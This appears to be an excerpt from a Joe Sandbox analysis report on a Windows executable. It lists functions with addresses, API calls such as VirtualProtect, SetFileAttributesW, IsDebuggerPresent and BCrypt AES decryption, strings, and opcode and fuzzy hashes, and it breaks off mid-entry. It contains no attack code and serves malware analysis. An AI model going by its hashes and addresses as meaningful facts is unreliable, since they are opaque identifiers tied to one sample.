Opcode ID: aaa4ee57fcb3c09c620f292fa600675dc0a000e0443b5e5edc856b5fd1e5d054
Instruction ID: 2b973da17dc1f444462ec7354cef8aec45b6d811d27b3dc7801fb7facad935f0
Opcode Fuzzy Hash: aaa4ee57fcb3c09c620f292fa600675dc0a000e0443b5e5edc856b5fd1e5d054
Instruction Fuzzy Hash: A351146270AB8585ED20DF52DA046BD6345BF65FC4F584932DF5D47B8ADE3CE1018300

Function 00007FF6A729C12C Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A729C22F

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: eacbc1718b369609e65cada091e5ee38d1bd08e315491fcd45042056ab76b343
Instruction ID: eff2e03d0171184d23ad56329f7c437f48ed68fcc2d1f304f88eefce043aff18
Opcode Fuzzy Hash: eacbc1718b369609e65cada091e5ee38d1bd08e315491fcd45042056ab76b343
Instruction Fuzzy Hash: AE212263716A8581EE18DFA6EA442BCA311FB58BD0F589532DF5C47789DE3CE4E18340

Function 00007FF6A72AC0CE Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A72AC0FB

Part of subcall function 00007FF6A72AC1E8: GetModuleHandleExW.KERNEL32 ref: 00007FF6A72AC20D
Part of subcall function 00007FF6A72AC1E8: GetProcAddress.KERNEL32 ref: 00007FF6A72AC223
Part of subcall function 00007FF6A72AC1E8: FreeLibrary.KERNEL32 ref: 00007FF6A72AC23F

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 193afa37a777510bfd0f6a7ec172b227f708372e160c0646391892b8589f2d4c
Instruction ID: a991c208073e2683a779a1b7331760803e48e8b14bdf35341cdf3db5853d462d
Opcode Fuzzy Hash: 193afa37a777510bfd0f6a7ec172b227f708372e160c0646391892b8589f2d4c
Instruction Fuzzy Hash: 39217C72F1A6028AFB609F68C6403FC37A0EB84718F441639D61C82ACADF78D584CB80

Function 00007FF6A72B8A04 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72B8A2F

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e6c5121a4333c3c05ed46f19e9841ae9fdb1d4b8cd81f1238cede93ff1698a00
Instruction ID: 5ddd4bbe8c3292d14c495b682e4fa29d909ba583c04d5a15b38eaa22f6db6a87
Opcode Fuzzy Hash: e6c5121a4333c3c05ed46f19e9841ae9fdb1d4b8cd81f1238cede93ff1698a00
Instruction Fuzzy Hash: C9113632A1E642C2F2149F15A640169B3A4FF84740F590535EA9DC769BDF7CF8108B84

Function 00007FF6A72B890C Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A72B0ED0: HeapAlloc.KERNEL32(?,?,00000000,00007FF6A72AEFAF), ref: 00007FF6A72B0F25

InitializeCriticalSectionEx.KERNEL32(?,?,00000000,00007FF6A72B8C0D,?,?,?,?,?,00007FF6A72BDE5C), ref: 00007FF6A72B8953

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: AllocCriticalHeapInitializeSection
String ID:
API String ID: 2538999594-0
Opcode ID: 11fbba9b6d15de1e46001b6772703129aa3b60af1ff117b004fac62e98ae930d
Instruction ID: 8f0e60de6946a81f1cc3e18f9025ac6c42e78311ec7f29758824770aadef3abf
Opcode Fuzzy Hash: 11fbba9b6d15de1e46001b6772703129aa3b60af1ff117b004fac62e98ae930d
Instruction Fuzzy Hash: 4111C132729B8592EA148F25D24016D7760F781790FA88635E36D83BCADF38F562C740

Function 00007FF6A7293110 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32 ref: 00007FF6A7293158

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 082f937908b70977bda6d560dbac3a5aadeee9947b1c99794c733f2c3b32fe8f
Instruction ID: 2fd421234540461a207c57cfec9ebef4b467f754b5a6a2f9af57cb3c82361a39
Opcode Fuzzy Hash: 082f937908b70977bda6d560dbac3a5aadeee9947b1c99794c733f2c3b32fe8f
Instruction Fuzzy Hash: C111E332A08B81C1E724CF20E9803AA33A4FB94794F545331DBAD83A99DF3CE4548B40

Function 00007FF6A729F450 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6A729F464

Part of subcall function 00007FF6A72A1348: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF6A72A1350
Part of subcall function 00007FF6A72A1348: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF6A72A1355

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: c9f985825ac4b23d3176dd6cff68fcdf49005d8f78cc3528bc98d5864b33a504
Instruction ID: 0660609b1734045def1086c26aaac41ba59f8c844803f7c8b52f85457415ff6d
Opcode Fuzzy Hash: c9f985825ac4b23d3176dd6cff68fcdf49005d8f78cc3528bc98d5864b33a504
Instruction Fuzzy Hash: 24E0BD24D0F29340FEA83F611F02AB802A01F76355E9820B8EA6DC218FDE5E604A1722

Function 00007FF6A72AF1E0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF6A72AF216

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: __vcrt_uninitialize_ptd
String ID:
API String ID: 1180542099-0
Opcode ID: 27f1ce99f3a2ebded05665a5adf7d3d2c2d5278a548c9e2a2a42ea40b93467d2
Instruction ID: 005bba334922710a759dad3edc3363150deddec6d457ec902c7ae912ec162685
Opcode Fuzzy Hash: 27f1ce99f3a2ebded05665a5adf7d3d2c2d5278a548c9e2a2a42ea40b93467d2
Instruction Fuzzy Hash: F1E08C28D0F28387FE547F7157520B812802F6A310FA00A35D03DC22DFEE2CF00A9A29

Function 00007FF6A7293278 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 00007FF6A729329B

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7b87419910b5a0cf388422cc991a9f7454de1a5495e9ee626f38cbcf09a25bff
Instruction ID: 72c4010982a7c7c09b2054d60d6b86780260561f9604d53eac38ca026da0dec2
Opcode Fuzzy Hash: 7b87419910b5a0cf388422cc991a9f7454de1a5495e9ee626f38cbcf09a25bff
Instruction Fuzzy Hash: F7D0A791F0760AC1D6549B13D9402152299F718B44F504832CA1CC7314DD2DEDE54341

Function 00007FF6A72B1840 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FF6A72B1860

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c6c1d66225bcc87674840a07a5124f2e3bfdbb0ede8bdd8896bb1eb3909e00d7
Instruction ID: 2c377421f52402e4e712ef6ea9918a7f9b8fd896fa5863e7cef041006778cd1e
Opcode Fuzzy Hash: c6c1d66225bcc87674840a07a5124f2e3bfdbb0ede8bdd8896bb1eb3909e00d7
Instruction Fuzzy Hash: A3D01226B36541D3F300DF11D885BA66368FB98712FD04025E94DC1699CF7CD299DB11

Function 00007FF6A72B0ED0 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6A72AEFAF), ref: 00007FF6A72B0F25

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 97f7d58160a855a53a73402b4ed82241c66eea07083e1b1f98e24e80810b323b
Instruction ID: d65b25622d6a3b5ef761f40d2a9fc1120b3b28e7f340755347f2504422da1ee3
Opcode Fuzzy Hash: 97f7d58160a855a53a73402b4ed82241c66eea07083e1b1f98e24e80810b323b
Instruction Fuzzy Hash: 93F09024B2B20741FEA65FA29B812F512845FD8BA0F4CC430CD0EC63DBEE2CF8818210

Function 00007FF6A72B2EE0 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6A72B688D,?,?,00000000,00007FF6A72BB7BF,?,?,?,00007FF6A72ADEA3,?,?,?,00007FF6A72ADD99), ref: 00007FF6A72B2F1E

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a9d17d1c7ae8bada2cf5ec7b01bdd172d7e06fe8588a6641971f920dfe8589d7
Instruction ID: 97e3054481b14d4b0df5b404c9bb6ee7c934297acb8fc07fa09529e81ad68707
Opcode Fuzzy Hash: a9d17d1c7ae8bada2cf5ec7b01bdd172d7e06fe8588a6641971f920dfe8589d7
Instruction Fuzzy Hash: 3EF08C11B1B34342FE256FA29B4127522C04FC5BA0F0C0A38ED2EC62CFEE2CF4814618

Non-executed Functions

Function 00007FF6A72BBD44 Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1223COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6A72BBD97
memcpy_s.LIBCPMT ref: 00007FF6A72BC075
memcpy_s.LIBCPMT ref: 00007FF6A72BC41F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BC624
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BC838
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BCA8C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BCC86

Strings

1#QNAN, xrefs: 00007FF6A72BBEB7
1#IND, xrefs: 00007FF6A72BBE8B
1#SNAN, xrefs: 00007FF6A72BBEAE
1#INF, xrefs: 00007FF6A72BBEC7

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 874d7091b3eac402722a02c4cca510cf9072ff940f7cf942075740e9c0d61c71
Instruction ID: ffa5a11d153274bc0dfb3cad0988dde949bf3c595751ea20145be8e0c08371d3
Opcode Fuzzy Hash: 874d7091b3eac402722a02c4cca510cf9072ff940f7cf942075740e9c0d61c71
Instruction Fuzzy Hash: C8B2A373A1A2828BE7658F64D6407FD37A1FBD4388F505135DA0A97A8EDF38B641CB40

Function 00007FF6A72968C0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 104COMMON

Download Yara Rule

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF6A7296948
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A7296B43
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A7296B77
BCryptDestroyKey.BCRYPT ref: 00007FF6A7296BA9
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A7296BBC
BCryptDestroyKey.BCRYPT ref: 00007FF6A7296BEA
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF6A7296BFD

Strings

Failed to determine plaintext size., xrefs: 00007FF6A7296BBF
Failed to get AES key object size., xrefs: 00007FF6A7296B46
Failed to generate AES key., xrefs: 00007FF6A7296B7A
AES, xrefs: 00007FF6A7296933
Failed to decrypt data., xrefs: 00007FF6A7296C00
Failed to open AES algorithm provider., xrefs: 00007FF6A7296B12

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Crypt$AlgorithmProvider$Close$Destroy$Open
String ID: AES$Failed to decrypt data.$Failed to determine plaintext size.$Failed to generate AES key.$Failed to get AES key object size.$Failed to open AES algorithm provider.
API String ID: 2193032904-3618429512
Opcode ID: c9bf1d422893450ae716ee890973d9d84fa9b818d3af34407316f935a39850f7
Instruction ID: 1ba799d7411b88d63e70eb6dfb474adbbff8e30f6727c77d45ea202117fc0b4b
Opcode Fuzzy Hash: c9bf1d422893450ae716ee890973d9d84fa9b818d3af34407316f935a39850f7
Instruction Fuzzy Hash: BD414C62F0A90798F700DF61E9902EC2371EFA4788F404932EA1D97569DE7CE91AC340

Function 00007FF6A72BDDCC Relevance: 13.8, APIs: 9, Instructions: 282fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A72BDAF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BDB43
Part of subcall function 00007FF6A72BDAF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BDBBB
Part of subcall function 00007FF6A72BDAF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BDC0C

CreateFileW.KERNEL32 ref: 00007FF6A72BDEE2
CreateFileW.KERNEL32 ref: 00007FF6A72BDF40
GetLastError.KERNEL32 ref: 00007FF6A72BDF70
GetFileType.KERNEL32 ref: 00007FF6A72BDF88
GetLastError.KERNEL32 ref: 00007FF6A72BDF92
CloseHandle.KERNEL32 ref: 00007FF6A72BDFC5
CloseHandle.KERNEL32 ref: 00007FF6A72BE12B
CreateFileW.KERNEL32 ref: 00007FF6A72BE160
GetLastError.KERNEL32 ref: 00007FF6A72BE16F

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 5e1fce37355ae6b3998a0010bcb375b5567f6859d720004292b998146418c733
Instruction ID: 07f6adb3af8cc44a15ddaa63cbc32fa9287390f023f329cce89ca5004a134abe
Opcode Fuzzy Hash: 5e1fce37355ae6b3998a0010bcb375b5567f6859d720004292b998146418c733
Instruction Fuzzy Hash: 55C1B033B29A4186EB10CF68C5802AD3771FB99B98F145225DE2E9B79ADF38E451C700

Function 00007FF6A72B168C Relevance: 12.6, Strings: 10, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

Strings

LCIDToLocaleName, xrefs: 00007FF6A72B17E8, 00007FF6A72B17F6
EnumSystemLocalesEx, xrefs: 00007FF6A72B16C9, 00007FF6A72B16D7
IsValidLocaleName, xrefs: 00007FF6A72B1796, 00007FF6A72B17A4
GetDateFormatEx, xrefs: 00007FF6A72B16F2, 00007FF6A72B1700
GetLocaleInfoEx, xrefs: 00007FF6A72B171B, 00007FF6A72B1729
LocaleNameToLCID, xrefs: 00007FF6A72B1811, 00007FF6A72B181F
GetUserDefaultLocaleName, xrefs: 00007FF6A72B176D, 00007FF6A72B177B
AreFileApisANSI, xrefs: 00007FF6A72B16AC
LCMapStringEx, xrefs: 00007FF6A72B17BF, 00007FF6A72B17CD
GetTimeFormatEx, xrefs: 00007FF6A72B1744, 00007FF6A72B1752

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID: AreFileApisANSI$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 0-4046831456
Opcode ID: ef6911400cf40776a313b2b1b07cf7e9ba921e6652876f82ec37e149a12f5fff
Instruction ID: 669ffa53c7ca5ba1eea9bb55cd882fe08d79664cfc2b35949d3287b5910383fe
Opcode Fuzzy Hash: ef6911400cf40776a313b2b1b07cf7e9ba921e6652876f82ec37e149a12f5fff
Instruction Fuzzy Hash: CB41A861B0B64B94FE959F54DB855F423A0EF60749F848536D40C972AAEF3CF58AC340

Function 00007FF6A72BAA74 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 231COMMONLIBRARYCODE

Download Yara Rule

APIs

TranslateName.LIBCMT ref: 00007FF6A72BAAE6

Part of subcall function 00007FF6A72B7078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72B70AB

TranslateName.LIBCMT ref: 00007FF6A72BAB24
GetACP.KERNEL32(?,00000000,?,00000092,?,00007FF6A72ACCBA), ref: 00007FF6A72BAB6E
IsValidCodePage.KERNEL32(?,00000000,?,00000092,?,00007FF6A72ACCBA), ref: 00007FF6A72BABA6
GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BAD5D

Strings

utf8, xrefs: 00007FF6A72BAC85

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: NameTranslate$CodeInfoLocalePageValid_invalid_parameter_noinfo
String ID: utf8
API String ID: 2487361160-905460609
Opcode ID: 4c74f848c638c3734628f59a3f7224248d3828b6c223383e360bd217977e9305
Instruction ID: 2b04659ab08e1f4ff6ea035516d1db0db11463d4dd82fd3c7c9e277ad99a9f61
Opcode Fuzzy Hash: 4c74f848c638c3734628f59a3f7224248d3828b6c223383e360bd217977e9305
Instruction Fuzzy Hash: DA91BB32A0A78286EB649F21D6412BA33A5FF94B84F848135DA9C8778BDF3DF5458340

Function 00007FF6A729FE3C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6A729FE58
RtlCaptureContext.KERNEL32 ref: 00007FF6A729FE85
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6A729FE9F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6A729FEE0
IsDebuggerPresent.KERNEL32 ref: 00007FF6A729FF34
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6A729FF51
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6A729FF5C

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ca36029218687d2e9ce25e8de0892eb2e2e879ba04d5627c4f59a1c16c2fec3c
Instruction ID: 15ded0926b18e6d51ee3d2cbf5110ecce9104dfb67f381b70a802521b40cfbec
Opcode Fuzzy Hash: ca36029218687d2e9ce25e8de0892eb2e2e879ba04d5627c4f59a1c16c2fec3c
Instruction Fuzzy Hash: 5F31307260AB818AEB608F60E8403EE7364FB94749F44443ADA4D87B99EF78D648C710

Function 00007FF6A72BB4E0 Relevance: 9.2, APIs: 6, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

